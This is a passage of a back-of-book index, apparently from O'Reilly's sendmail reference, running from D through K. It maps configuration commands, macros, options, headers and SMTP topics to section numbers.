dbm database : 33.8. Alphabetized Reference
alias file and
22.6.1. The Alias Database Files
24.5. The Aliases Database
debug command (SMTP) : 22.3.1. SMTP debug
debug_dumpstate rule set : 26.3.3.3. -- ruleset debug_dumpstate returns stat ..., pv: --
debugging
4.3. Debugging (-d)
6.3.3. Testing the New Delivery Agent Definitions
37.2. Debugging Behavior
(see also bugs; -d switch (sendmail); testing)
with rule testing : 38.7. Add Debugging for Detail
SMTPDEBUG macro
18.8. Alphabetized Reference
22.3.1. SMTP debug
debugging mode : 36.7. Alphabetized Reference
declaring
classes
12.1.1. Declaring a Class
32.1. Class Configuration Commands
delivery agents : 19.3.2. MAILER()
macros
7.2. Defining Macros
31.2. Command-Line Definitions
sites for SITECONFIG : 19.6. Alphabetized m4 Macros
trusted users : (see T configuration command)
DECnet network : 3.3.3. Other Protocols
$C macro : 31.10. Alphabetized Reference
DECNET-RELAY macro (m4) : 19.6. Alphabetized m4 Macros
decode alias : 22.6. The Aliases File
default
canonicalization : 28.6.6.2. Default in canonicalization: $:
character set : 30.4. The Equates
content-type character set : 34.8. Alphabetized Reference
database key : 33.4.1. Specify a Default with $:
delivery agent : 34.8. Alphabetized Reference
delivery mode : 13.2.3. The Default Delivery Mode
file permissions : 13.2.4. The Default File Permissions
hostname : 33.5.3. A :default Outgoing Hostname
logging level : 13.2.6. The Default Logging Level
macro definitions : 7.3. Predefined Macros
sender's address format : 31.10. Alphabetized Reference
User Database location : 18.8. Alphabetized Reference
user identity
13.2.5. The Default User Identities
22.8.3.1. The DefaultUser option
34.8. Alphabetized Reference
DefaultCharSet option : 34.8. Alphabetized Reference
DefaultUser (u,g) option
13.2.5. The Default User Identities
22.8.3.1. The DefaultUser option
34.8. Alphabetized Reference
define() : 20.3. Alphabetized V8.8 Subroutines
define statements (m4)
19.1. The m4 Preprocessor
19.4.1. Options
defining
headers : (see H configuration command)
macros
20.3. Alphabetized V8.8 Subroutines
34.8. Alphabetized Reference
36.7. Alphabetized Reference
38.2.1. Define a Macro with .D
delay= equate (syslog output) : 26.1.3.2. delay= total time to deliver
delay, transaction : 26.1.3.13. xdelay= transaction
deleting header lines : 20.3. Alphabetized V8.8 Subroutines
delimiter
database key column : 33.3.4.12. -z specify the column delimiter (V8.7 and above)
tokens
31.10. Alphabetized Reference
34.8. Alphabetized Reference
"Delivered-To:" header line : 35.10. Alphabetized Reference
delivermail program : History
delivery
19.6. Alphabetized m4 Macros
(see also users)
agents for : (see delivery agents)
alias, forms of : 24.2. Forms of Alias Delivery
failure count : 23.9. The qf File Internals
via FAX machine : 3.3.3. Other Protocols
to files : (see appending to files)
local
3.2. Role in Local Delivery
29.6.3. Delivering to Local Recipient
30.8. Alphabetized F= Flags
(see local)
looking up addresses with DNS : 21.2.3. Look Up Addresses for Delivery
to mailbox : 3.2.1. Delivery to a Mailbox
to multiple recipients : 30.8. Alphabetized F= Flags
path of : (see "Received:" header line)
precedence : (see priority, message)
to programs
3.2.2. Delivery Through a Program
24.2.3. Delivery via Programs
25.7.4. Piping Through Programs
30.8. Alphabetized F= Flags
relays : (see relays)
single threaded : 34.8. Alphabetized Reference
total time for : 26.1.3.2. delay= total time to deliver
delivery agents (MTAs)
1.1. MUA Versus MTA
5.3.1. Mail Delivery Agents
6.2. Define a Mail Delivery Agent
30. Delivery Agents
(see also M configuration command)
$# operator and
9.2.1. The Delivery Agent ($#)
28.6.5. Specify a Delivery Agent: $#
advantages to sendmail : 18.1. To Use or Not to Use
choosing
9. Rule Set 0
9.5. Things to Try
declaring : 19.3.2. MAILER()
default : 34.8. Alphabetized Reference
equates for : 30.4. The Equates
for errors : 9.4. The error Delivery Agent
expensive
23.6.1. Periodically with -q
30.8. Alphabetized F= Flags
34.8. Alphabetized Reference
flags
6.3. The local Delivery Agent
6.4. Add the Missing Parts to Mhub
14.2. Headers Versus Delivery Agent Flags
30.8. Alphabetized F= Flags
35.4. ?flags? in Header Definitions
ignoring MX records : 21.3.5. What? They Ignore MX Records?
local
6.3. The local Delivery Agent
19.6. Alphabetized m4 Macros
logging : 26.1.3.4. mailer= the delivery agent used
printing list of : 38.4.2. Show Delivery Agents with =M
as recipients : 30.8. Alphabetized F= Flags
scripts via : 24.3. Write a Delivery Agent Script
statistics : (see statistics)
symbolic name : 30.2. The Symbolic Name
testing : 38.5.6. Try a Delivery Agent with /try
UUCP : 19.4.6. UUCP
delivery mode : 13.2.3. The Default Delivery Mode
delivery program : 25.7.5.1. The deliver program
Delivery Status Notification : (see DSN)
DeliveryMode (d) option
13.2.3. The Default Delivery Mode
23.6.1. Periodically with -q
34.8. Alphabetized Reference
dequote database class : 33.8. Alphabetized Reference
detail data, DSN delivery : 30.5.2.1. The $@ dsn part
/dev/kmem file : 18.8. Alphabetized Reference
/dev/null, copying to sendmail.cf : 5.2. The Minimal File
device numbers : 23.9. The qf File Internals
df files
3.1.2. The Queue Directory
23.2.2. The Data (Message Body) File: df
23.9. The qf File Internals
inode and device information : 23.9. The qf File Internals
DialDelay option : 34.8. Alphabetized Reference
directives, Makefile : 18.4. Tuning Makefile
directories
cf : 16.1. The cf/cf Directory
queue : (see queue directory)
recipient's home : 31.10. Alphabetized Reference
for safe file writes : 34.8. Alphabetized Reference
disasters : 21.5. Prepare for Disaster
divert command (m4)
19.1.4. m4 diversions
19.6. Alphabetized m4 Macros
DMBDEF= directive : 18.4.1. DBMDEF=
dnl command (m4) : 19.1.2. m4 and dnl
DNS (Domain Name System)
17.2.1. Is the Host Local?
21.1. Overview
bestmx_is_local feature : 19.6. Alphabetized m4 Macros
disasters : 21.5. Prepare for Disaster
eliminating support for : 2.4.2. Eliminate DNS Support
error numbers : B.1. Status file lines
MX records
15.3. MX Records
(see MX records)
omitting support : 19.6. Alphabetized m4 Macros
resource on : Other Books, Other Problems
tuning lookups : 34.8. Alphabetized Reference
documentation : (see resources)
DOL macro (m4) : 19.6. Alphabetized m4 Macros
DOMAIN() : 19.3.3. DOMAIN()
domain names
8.1. A Fictional Network
19.6. Alphabetized m4 Macros
domain-type addresses : 17.1.3. Internet Addresses
domains
accepting only internal mail : 20.2.1. Accept Mail Only From Our Domain
adding to recipient address : 30.8. Alphabetized F= Flags
always_add_domain feature : 19.6. Alphabetized m4 Macros
FQDN : (see FQDNs)
list of local : 32.5. Alphabetized Reference
masquerading : 19.6. Alphabetized m4 Macros
part of hostname : (see $m macro)
virtual, mapping to addresses : 19.6. Alphabetized m4 Macros
domaintable feature : 19.6. Alphabetized m4 Macros
DontExpandCNames option : 34.8. Alphabetized Reference
DontInitGroups option : 34.8. Alphabetized Reference
DontPruneRoutes command : 34.8. Alphabetized Reference
double quotation marks (")
13.2.8. The Unquoted Space Replacement Character
31.3.2. Syntax of the Configuration File Macro's Text
DoubleBounceAddress option : 34.8. Alphabetized Reference
down sites : 23.7.1. Handling a Down Site
DSN (Delivery Status Notification)
6.3. The local Delivery Agent
B.1. Status file lines
DSN macro : 18.8. Alphabetized Reference
ENVID identifier
23.9. The qf File Internals
36.7. Alphabetized Reference
ORCPT address : 23.9. The qf File Internals
original envelope ID : 31.10. Alphabetized Reference
types for : (see T= equate)
dumping macros : 38.3. Dump a Macro
dumping state : 26.3.3. SIGUSR1 Dump States
duplicate database keys : 33.2.1.1. -d allow duplicate keys
duplicate entries in alias file : 24.4.4. Duplicate Entries and Automation

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: E

e class : 32.5. Alphabetized Reference
E configuration command : 22.2.1. The E Configuration Command
e flag
23.6.1. Periodically with -q
30.8. Alphabetized F= Flags
34.8. Alphabetized Reference
E flag : 30.8. Alphabetized F= Flags
E line (host status file) : B.1. Status file lines
E line (qf file) : 23.9. The qf File Internals
$e macro : (see SmtpGreetingMessage option)
$E macro : 31.10. Alphabetized Reference
e option : (see ErrorMode (e) option)
E option : (see ErrorHeader (E) option)
-e switch : 36.7. Alphabetized Reference
-E switch : 36.7. Alphabetized Reference
E= equate : 30.4. The Equates
EBCDIC : 30.8. Alphabetized F= Flags
editing Makefile file : 2.4. Preliminaries
EF_DELETE_BCC flag : 23.9. The qf File Internals
EF_HAS8BIT flag : 23.9. The qf File Internals
EF_NO_BODY_RETN flag : 20.2.1. Accept Mail Only From Our Domain
EF_RESPONSE flag : 23.9. The qf File Internals
EF_WARNING flag : 23.9. The qf File Internals
EHLO command (SMTP)
4.2. Verbose (-v)
34.8. Alphabetized Reference
EightBitMode encoding
30.8. Alphabetized F= Flags
34.8. Alphabetized Reference
electronic mail : 1. Introduction
addresses : (see addresses)
messages : (see messages)
empty
email addresses
10.3. Missing Addresses
17.1.1.3. Handle null address
30.8. Alphabetized F= Flags
sendmail.cf file : 5.2. The Minimal File
encoding
30.8. Alphabetized F= Flags
32.5. Alphabetized Reference
"Encrypted:" header line : 35.10. Alphabetized Reference
end-of-line string : 30.4. The Equates
ENVDEF= directive : 18.4.2. ENVDEF=
envelope
1.7. The Envelope
8.2. Why Rules?
DSN ENVID identifier
23.9. The qf File Internals
36.7. Alphabetized Reference
logging sender of : 26.1.3.3. from= show envelope sender
masquerading : 19.6. Alphabetized m4 Macros
original DSN : 31.10. Alphabetized Reference
rewriting address of : 29.3.1. V8 Enhancements
specifying recipient's address : 29.10.2. The check_rcpt Rule Set
UDB rewrite on : 30.8. Alphabetized F= Flags
ENVELOPE *e structure : 20.1.1. Arguments Passed to checkcompat()
${envid} macro : 31.10. Alphabetized Reference
environment variables
5.3.12. Environment variables
22.2. The Environment
36.4.2.1. Initialize the environment
E configuration command : 22.2.1. The E Configuration Command
equates
30.4. The Equates
(see also under specific equate)
ERRLIST_PREDEFINED macro : 18.8. Alphabetized Reference
errno.h file : B.1. Status file lines
error delivery agent : 30.5.2. The error Delivery Agent
error messages
recipient address for : 23.9. The qf File Internals
xf (transcript) file : 23.2.7. The Transcript File: xf
ErrorHeader (E) option : 34.8. Alphabetized Reference
ErrorMode (e) option
34.1.3. Appropriateness of Options
34.8. Alphabetized Reference
36.7. Alphabetized Reference
errors
26.1. Logging with syslog
36.5.5. EX_OSERR A System Resource Error
(see also exit values, sendmail)
(see also logging)
addressing : 8.2. Why Rules?
building with m4 : 19.2. Build with m4
delivery agent for : 9.4. The error Delivery Agent
delivery failure count : 23.9. The qf File Internals
DNS error numbers : B.1. Status file lines
error message header : 34.8. Alphabetized Reference
illegal command-line switches : 36.7. Alphabetized Reference
List:; form addresses
17.1.2.1. A rule to handle List:;
17.3. Rule Set 0
MIME format : 34.8. Alphabetized Reference
overwriting rule sets : 8.4. Rules
requeuing in response to : 25.7.6. Force Requeue on Error
rule set 0 for : 17.3. Rule Set 0
on sending errors : 34.8. Alphabetized Reference
in sendmail.cf file : 5.1. Overview
suppressing messages : 12.2. The File Form of Class
temporary : 36.5.8. EX_TEMPFAIL A Recoverable Error
UNIX error number : B.1. Status file lines
"Errors-To:" header line
34.8. Alphabetized Reference
35.10. Alphabetized Reference
escape characters : 35.3.2. Escape Character in the Header Field
ESMTP (Extended SMTP)
23.9. The qf File Internals
30.8. Alphabetized F= Flags
BODY parameter (ESMTP)
31.10. Alphabetized Reference
36.7. Alphabetized Reference
/etc/aliases : (see aliases file)
/etc/hosts file
7.3.1. The hostname
18.8. Alphabetized Reference
34.8. Alphabetized Reference
/etc/nsswitch.conf : (see nsswitch.conf file)
/etc/passwd file : (see passwd file)
/etc/sendmail.cf : (see sendmail.cf configuration file)
/etc/sendmail.ct file : 19.6. Alphabetized m4 Macros
/etc/sendmail.cw file : 19.6. Alphabetized m4 Macros
/etc/shells file
18.8. Alphabetized Reference
22.8.4. The /etc/shells file
/etc/syslog.conf file : 26.1.2. Tuning syslog.conf
ETRN command (SMTP) : 23.6.2.4. Process the queue via ESMTP ETRN
EX_CANTCREAT value : 36.5.1. EX_CANTCREAT Can't Write a User's File
EX_CONFIG value : 36.5.2. EX_CONFIG A Configuration Error
EX_IOERR value : 36.5.3. EX_IOERR A System I/O Error Occurred
EX_OK value : 36.5.4. EX_OK No Problems, All Was Fine
EX_OSERR value : 36.5.5. EX_OSERR A System Resource Error
EX_OSFILE value : 36.5.6. EX_OSFILE A Critical System File Failure
EX_SOFTWARE value : 36.5.7. EX_SOFTWARE An Internal Software Error
EX_TEMPFAIL value : 36.5.8. EX_TEMPFAIL A Recoverable Error
EX_UNAVAILABLE value : 36.5.9. EX_UNAVAILABLE A Resource
EX_USAGE value : 36.5.10. EX_USAGE A Command Was Used Incorrectly
exit signal : 26.3.1. SIGINT Cleanup and Exit
exit values, sendmail : 36.5. sendmail's exit() Status
expanding addresses selectively : D.3. K Command's -d switch
expanding macros : 31.5. Macro Expansion: $ and $&
expensive delivery agents : 30.8. Alphabetized F= Flags
expensive mailers
23.6.1. Periodically with -q
34.8. Alphabetized Reference
exploder lists : 25.4. Exploder Mailing Lists
EXPN command (SMTP)
22.3.2. SMTP vrfy and expn
22.8.3.5. The PrivacyOptions option
25.7.1. Unscrambling Forwards
EXPOSED_USER macro (m4) : 19.6. Alphabetized m4 Macros
Extended SMTP (ESMTP) : 4.2. Verbose (-v)
external databases : (see databases)

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: F

F configuration command
5.3.6. File Class Macros
12.2. The File Form of Class
18.8. Alphabetized Reference
32.1. Class Configuration Commands
32.1.2. The F Class Command
33. Database Macros
file form : 22.4.2. The F Command - File Form
program form : 22.4.3. The F Command - Program Form
-f database switch : 33.3.4.3. -f don't fold keys to lowercase (V8.1 and above)
f flag
30.7. Pitfalls
30.8. Alphabetized F= Flags
F flag : 30.8. Alphabetized F= Flags
F line (qf file)
23.3.5. Funny Flag Bits in qf File
23.9. The qf File Internals
$f macro : 31.10. Alphabetized Reference
$F macro : 31.10. Alphabetized Reference
f option : (see SaveFromLine (f) option)
F option : (see TempFileMode (F) option)
-f switch
11.6. Handling user@thishost
14.6. Trusted User
22.8.1. Trusted Users
30.8. Alphabetized F= Flags
36.7. Alphabetized Reference
-f switch (makemap) : 33.2.1.2. -f don't fold uppercase to lowercase
-F switch : 36.7. Alphabetized Reference
F= equate
30.4. The Equates
(see flags, delivery agent)
facility, mail-handling program : 26.1.1. syslog(3)
FallbackMXhost (V) option
21.2.3. Look Up Addresses for Delivery
34.8. Alphabetized Reference
FAQ, sendmail : 2.2. Read the Documents
FAX (facsimile machine)
3.3.3. Other Protocols
31.10. Alphabetized Reference
FAX-RELAY macro (m4) : 19.6. Alphabetized m4 Macros
FAX_RELAY macro (m4) : 31.10. Alphabetized Reference
fcntl command : 23.2.3. The Lock File (obsolete as of V5.62): lf
FEATURE command : 16.2.3. FEATURE
FEATURE() (m4)
19.3.4. FEATURE()
19.6. Alphabetized m4 Macros
_FFR_ macro : 18.8. Alphabetized Reference
fgetfolded routine : 18.8. Alphabetized Reference
file class macros : 5.3.6. File Class Macros
*file* delivery agent : 30.5.1. The *file* and *include* Agents
File Transfer Protocol (FTP)
obtaining BIND via : 21.1.1. Which DNS? 4.8.3 or 4.9?
obtaining source code via
2.1. Get the Source
18.3. Obtain the Source
files
appending to
33.2.1.4. -o append to, don't overwrite the file
(see appending to files)
configuration : (see configuration file)
delivery to : 30.8. Alphabetized F= Flags
directory for safe writes : 34.8. Alphabetized Reference
F configuration command : 22.4.2. The F Command - File Form
location, sendmail options for : 34.6.1. File Locations
mailbox : (see mailbox file)
of masquerading domains : 19.6. Alphabetized m4 Macros
output, can't write to : 36.5.1. EX_CANTCREAT Can't Write a User's File
queue : 3.1.2. The Queue Directory
in src directory : 2.3. What's What in src
storing classes in : 12.2. The File Form of Class
temporary, permissions for : 34.8. Alphabetized Reference
filesystem hierarchy : 3.1. Role in the Filesystem
filter programs
24.4.1. The Postmaster Alias
24.6.2. Filtering Recipients with a Shell Script
finding addresses : (see rule set 3)
fingerd utility : 22.3.2. SMTP vrfy and expn
firewalls
accepting only internal mail : 20.2.1. Accept Mail Only From Our Domain
headers and : 20.2.5. Prune Received: Headers at Firewall
RunAsUser option : 34.8. Alphabetized Reference
first-class precedence : 14.4. Precedence
flags, delivery agent
6.3. The local Delivery Agent
6.4. Add the Missing Parts to Mhub
14.2. Headers Versus Delivery Agent Flags
14.2.3. The Message-ID: Header
30.4. The Equates
30.8. Alphabetized F= Flags
35.4. ?flags? in Header Definitions
(see also under specific flag)
flags, qf file : 23.9. The qf File Internals
flock command : 23.2.3. The Lock File (obsolete as of V5.62): lf
focused address : 17.1.1.3. Handle null address
font, Japanese conversion : 36.7. Alphabetized Reference
forged mail messages
13.2.1. The Location of the Queue Directory
22.7. Forged Mail
forging mail : (see security)
fork command : 34.8. Alphabetized Reference
FORK macro : 18.8. Alphabetized Reference
ForkEachJob (Y) option : 34.8. Alphabetized Reference
forking : 30.6.1. Fork
format, address
6.3. The local Delivery Agent
31.10. Alphabetized Reference
.forward file
22.5.3. Permissions for ~/.forward Files
23.9. The qf File Internals
25.7. The User's ~/.forward File
34.8. Alphabetized Reference
chain of : 25.7.1. Unscrambling Forwards
ForwardPath (J) option
22.8.3.2. The ForwardPath option
34.8. Alphabetized Reference
smrsh program : 22.8.2. The smrsh Program
.forward files : 18.8. Alphabetized Reference
forwarders : 8.1.1. The dc.gov Domain
forwarding
loops : 25.7.2. Forwarding Loops
with Resent- headers : 35.7. Forwarding with Resent-Headers
ForwardPath (J) option
22.8.3.2. The ForwardPath option
34.8. Alphabetized Reference
FQDNs (fully qualified domain names)
4.2. Verbose (-v)
7.3.1. The hostname
8.1. A Fictional Network
21.1. Overview
(see also $j macro)
trailing dot for
15.3. MX Records
17.4. Rule Set 4
29.5.1. Stripping Trailing Dots
freezing sendmail.cf configuration file : 36.7. Alphabetized Reference
"From " header line : 34.8. Alphabetized Reference
"From:" header line
1.5. The Header
5.3.10. Trusted Users
14.1.1. The From: Header
18.8. Alphabetized Reference
30.7. Pitfalls
30.8. Alphabetized F= Flags
31.10. Alphabetized Reference
34.8. Alphabetized Reference
35.7.1. Remove and Recreate the From: Header
35.10. Alphabetized Reference
(see also $l macro)
(see also trusted users)
from= equate (syslog output) : 26.1.3.3. from= show envelope sender
FTP (File Transfer Protocol)
obtaining BIND via : 21.1.1. Which DNS? 4.8.3 or 4.9?
obtaining source code via
2.1. Get the Source
18.3. Obtain the Source
full name, sender : 36.7. Alphabetized Reference
"Full-Name:" header line
14.2.1. The Full-Name: Header
30.8. Alphabetized F= Flags
35.10. Alphabetized Reference
fully qualified domain names : (see FQDNs)
future of sendmail : The Future
fuzzy name matching : 18.8. Alphabetized Reference

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: G

G command (sendmail.cf)
D.1. Sun Enhancements
D.4. L and G Configuration Commands
g flag : 30.8. Alphabetized F= Flags
$g macro
14.1.1. The From: Header
31.10. Alphabetized Reference
g option : (see DefaultUser (g) option)
G option : (see MatchGecos (G) option)
gateways : 8.1.1. The dc.gov Domain
to news via mailing list : 25.5.2. Gateway Lists to News
preventing workstation as : 20.2.2. Workstation Refuses to Act as a Mail Gateway
gecos field (passwd file)
14.2.1. The Full-Name: Header
34.8. Alphabetized Reference
generic- mc files : 19.2. Build with m4
genericstable feature : 19.6. Alphabetized m4 Macros
gethostname() : 21.2.1. Determine the Local Canonical Name
gid, assume specified : 30.8. Alphabetized F= Flags
global variables : 20.1.2. Global Variables
greedy behavior : 19.1.1. m4 is greedy
greeting message, SMTP
31.10. Alphabetized Reference
34.8. Alphabetized Reference
group permissions : 34.8. Alphabetized Reference
groups : 18.8. Alphabetized Reference
guest messages, size of : 20.2.3. Limit the Size of Guest Messages

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: H

H configuration command
5.3.8. Headers
14.1. Headers
35.1. The H Configuration Command
h flag : 30.8. Alphabetized F= Flags
H line (host status file) : B.1. Status file lines
H line (qf file) : 23.9. The qf File Internals
$h macro
6.2. Define a Mail Delivery Agent
7.3. Predefined Macros
31.10. Alphabetized Reference
(see also rule set 0)
$H macro : 31.10. Alphabetized Reference
h option : (see MaxHopCount (h) option)
H option : (see HelpFile (H) option)
-h switch : 36.7. Alphabetized Reference
H_ACHECK flag
35.5.6. H_ACHECK
35.5.16. Replacing Headers with H_ACHECK
H_BCC flag : 35.5.14. H_BCC
H_CHECK flag : 35.5.5. H_CHECK
H_CTE flag : 35.5.12. H_CTE
H_CTYPE flag : 35.5.13. H_CTYPE
H_DEFAULT flag : 35.5.3. H_DEFAULT
H_ENCODABLE flag : 35.5.15. H_ENCODABLE
H_EOH flag : 35.5.1. H_EOH
H_ERRSTO flag : 35.5.11. H_ERRSTO
H_FORCE flag : 35.5.7. H_FORCE
H_FROM flag : 35.5.9. H_FROM
H_RCPT flag : 35.5.2. H_RCPT
H_RESENT flag : 35.5.4. H_RESENT
H_TRACE flag : 35.5.8. H_TRACE
H_VALID flag : 35.5.10. H_VALID
HACK macro (m4) : 19.6. Alphabetized m4 Macros
HAS... macros : 18.8. Alphabetized Reference
hash database class : 33.8. Alphabetized Reference
headers, message
1.5. The Header
5.3.8. Headers
13.4. Sending Mail
14.1. Headers
(see also under specific header line)
adding : 20.3. Alphabetized V8.8 Subroutines
changing values of : 20.3. Alphabetized V8.8 Subroutines
conf.c file : 35.5. Header Behavior in conf.c
defining : (see H configuration command)
delivery agent flags and
14.2. Headers Versus Delivery Agent Flags
35.4. ?flags? in Header Definitions
field contents : 35.3. Header Field Contents
firewalls and : 20.2.5. Prune Received: Headers at Firewall
getting recipients from : 36.7. Alphabetized Reference
mailing lists and : 25.5.1. Reply Versus Bounce
in qf file : 23.9. The qf File Internals
in queue : 3.1.2. The Queue Directory
removing (deleting) : 20.3. Alphabetized V8.8 Subroutines
using old style of : 34.8. Alphabetized Reference
HELO command (SMTP)
18.8. Alphabetized Reference
30.8. Alphabetized F= Flags
34.8. Alphabetized Reference
help : (see resources)
HELP command (SMTP) : 34.8. Alphabetized Reference
HelpFile (H) option : 34.8. Alphabetized Reference
HES_GETMAILHOST macro : 18.8. Alphabetized Reference
hesiod database class : 33.8. Alphabetized Reference
HESIOD macro : 18.8. Alphabetized Reference
HFDIR= directive : 18.4.9. HFDIR=
hidden dot algorithm : 4.2. Verbose (-v)
high bit : 30.8. Alphabetized F= Flags
history, sendmail
History
27.5. The V Configuration Command
HoldExpensive (c) option
23.6.1. Periodically with -q
34.8. Alphabetized Reference
36.7. Alphabetized Reference
holding messages : (see queue)
home directory, recipient's : 31.10. Alphabetized Reference
hop count
14.1.2. The Received: Header
31.10. Alphabetized Reference
34.8. Alphabetized Reference
36.7. Alphabetized Reference
host database class : 33.8. Alphabetized Reference
host status : B.1. Status file lines
hostname command : 7.3.1. The hostname
hostnames
7.3.1. The hostname
21.2.2. Look Up a Remote Host's Name
$@ operator and
9.2.2. The Host ($@)
9.3. Testing Rule Set 0
17.1.1.3. Handle null address
33.4.2. Specify Numbered Substitution with $@
canonicalizing : (see canonicalization)
capitalization of : 30.8. Alphabetized F= Flags
changing to hub name : 11.6. Handling user@thishost
default : 33.5.3. A :default Outgoing Hostname
domain part : (see $m macro)
short form of : (see $w macro)
hosts
6.3. The local Delivery Agent
(see also $h macro)
$_ macro : (see $_ macro)
canonical names of : 31.10. Alphabetized Reference
checking if local : 17.2.1. Is the Host Local?
IP addresses of : 31.10. Alphabetized Reference
masquerading : (see masquerading)
offsite MX : 21.5.1. Offsite MX Hosts
preference
15.3. MX Records
21.3. Set Up MX Records
sender's : (see $s macro)
sending, variables for : 20.1.2. Global Variables
setting : 36.7. Alphabetized Reference
smart
19.6. Alphabetized m4 Macros
29.6.4. Forwarding to a Knowledgeable Host
31.10. Alphabetized Reference
sticky and nonsticky : 19.6. Alphabetized m4 Macros
hosts file : (see /etc/hosts file)
HostsFile option : 34.8. Alphabetized Reference
hoststat command : 36.1.1. hoststat (V8.8 and Above)
HostStatusDirectory option
34.8. Alphabetized Reference
B. Host Status File Internals
hubs
6. The Mail Hub and Delivery Agents
11.3. All Mail from the Hub
accepting mail : 15.4. Hub Accepts Mail for Client
changing hostname to : 11.6. Handling user@thishost
delivery agent flags for : 6.4. Add the Missing Parts to Mhub
$H macro : 31.10. Alphabetized Reference
internal name for : 11.4.2. A Word About ${HUB}
rules for : 17. The Hub's Complex Rules
Hubset rule set
11.2. Rule Set S=
11.4. Rule Set Hubset
hvalue() : 20.3. Alphabetized V8.8 Subroutines

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: I

i flag : 30.8. Alphabetized F= Flags
I flag : 30.8. Alphabetized F= Flags
I line (qf file) : 23.9. The qf File Internals
$i macro
14.2.3. The Message-ID: Header
31.10. Alphabetized Reference
i option : (see IgnoreDots (i) option)
I option : (see ResolverOptions (I) option)
-i switch : 36.7. Alphabetized Reference
-I switch : 36.7. Alphabetized Reference
I/O error : 36.5.3. EX_IOERR A System I/O Error Occurred
IDA sendmail : History
identd information, verifying : 20.2.4. Verify identd Information
identification headers : 35.6.4. Identification and Control Headers
identifier
envelope (ENVID), DSN
23.9. The qf File Internals
36.7. Alphabetized Reference
message
13.4. Sending Mail
14.2.3. The Message-ID: Header
26.1.3.5. msgid= the Message-ID: identifier
queue : (see queue identifier)
queue file : (see $i macro)
rule set : 29.1.1. Rule-Set Numbers
vendor : 27.5.1. The vendor
identity
default user
13.2.5. The Default User Identities
22.8.3.1. The DefaultUser option
34.8. Alphabetized Reference
system : 31.7.1. Macros and the System Identity
IDENTPROTO macro : 18.8. Alphabetized Reference
IgnoreDots (i) option
34.1.3. Appropriateness of Options
34.8. Alphabetized Reference
36.7. Alphabetized Reference
ignoring illegal switches : 36.7. Alphabetized Reference
implicit database class : 33.8. Alphabetized Reference
"In-Reply-To:" header line : 35.10. Alphabetized Reference
INCDIRS= directive : 18.4.3. INCDIRS=
include command : 16.2.1. include
*include* delivery agent : 30.5.1. The *file* and *include* Agents
:include: directive
22.5.2. Permissions for :include:
23.9. The qf File Internals
25.2. :include: Mailing Lists
30.8. Alphabetized F= Flags
"Infinite loop in ruleset" error : 28.6.2. Rewrite Once Prefix: $:
initgroups command : 34.8. Alphabetized Reference
initializing
alias database : 36.7. Alphabetized Reference
environment variables : 36.4.2.1. Initialize the environment
macros : 36.4.2.2. Initialize macros
inode numbers : 23.9. The qf File Internals
installing
db library package : C.3. Compile and Install
sendmail
2.1. Get the Source
18.6. Install sendmail
sendmail.cf file : 15.6. Install the client.cf File
internal
mail, accepting only : 20.2.1. Accept Mail Only From Our Domain
mailing lists
20.2.2. Workstation Refuses to Act as a Mail Gateway
25.1. Internal Mailing Lists
name for mail hub : 11.4.2. A Word About ${HUB}
predefined macros : 7.3. Predefined Macros
rule sets : 8.3. Rule Sets
internationalization : 28.1.2.1. Backslashes in rules
Internet addresses : 17.1.3. Internet Addresses
intervals
queue processing interval : 23.6.1. Periodically with -q
return interval : 13.2.2. Limit the Life of Queued Messages
"invalid ruleset name" error : 29.1. The S Configuration Command
IP_SRCROUTE macro : 18.8. Alphabetized Reference
IPC (interprocessor communications) : 6.2. Define a Mail Delivery Agent

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: J

j flag : 30.8. Alphabetized F= Flags
$j macro
7.3.1. The hostname
14.1.2. The Received: Header
21.2.1. Determine the Local Canonical Name
31.10. Alphabetized Reference
losing dots from : 18.8. Alphabetized Reference
j option : (see SendMimeErrors (j) option)
J option : (see ForwardPath (J) option)
-J switch : 36.7. Alphabetized Reference
Japanese font conversion : 36.7. Alphabetized Reference
junk precedence : 14.4. Precedence

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: K

k class : 32.5. Alphabetized Reference
K configuration command
5.3.11. Keyed Databases
20.3. Alphabetized V8.8 Subroutines
33.3. The K Configuration Command
-d switch for : D.3. K Command's -d switch
-k database switch : 33.3.4.4. -k specify column for key (V8.7 and above)
k flag : 30.8. Alphabetized F= Flags
K line (qf file) : 23.9. The qf File Internals
$k macro
18.8. Alphabetized Reference
31.10. Alphabetized Reference
overriding : 31.10. Alphabetized Reference
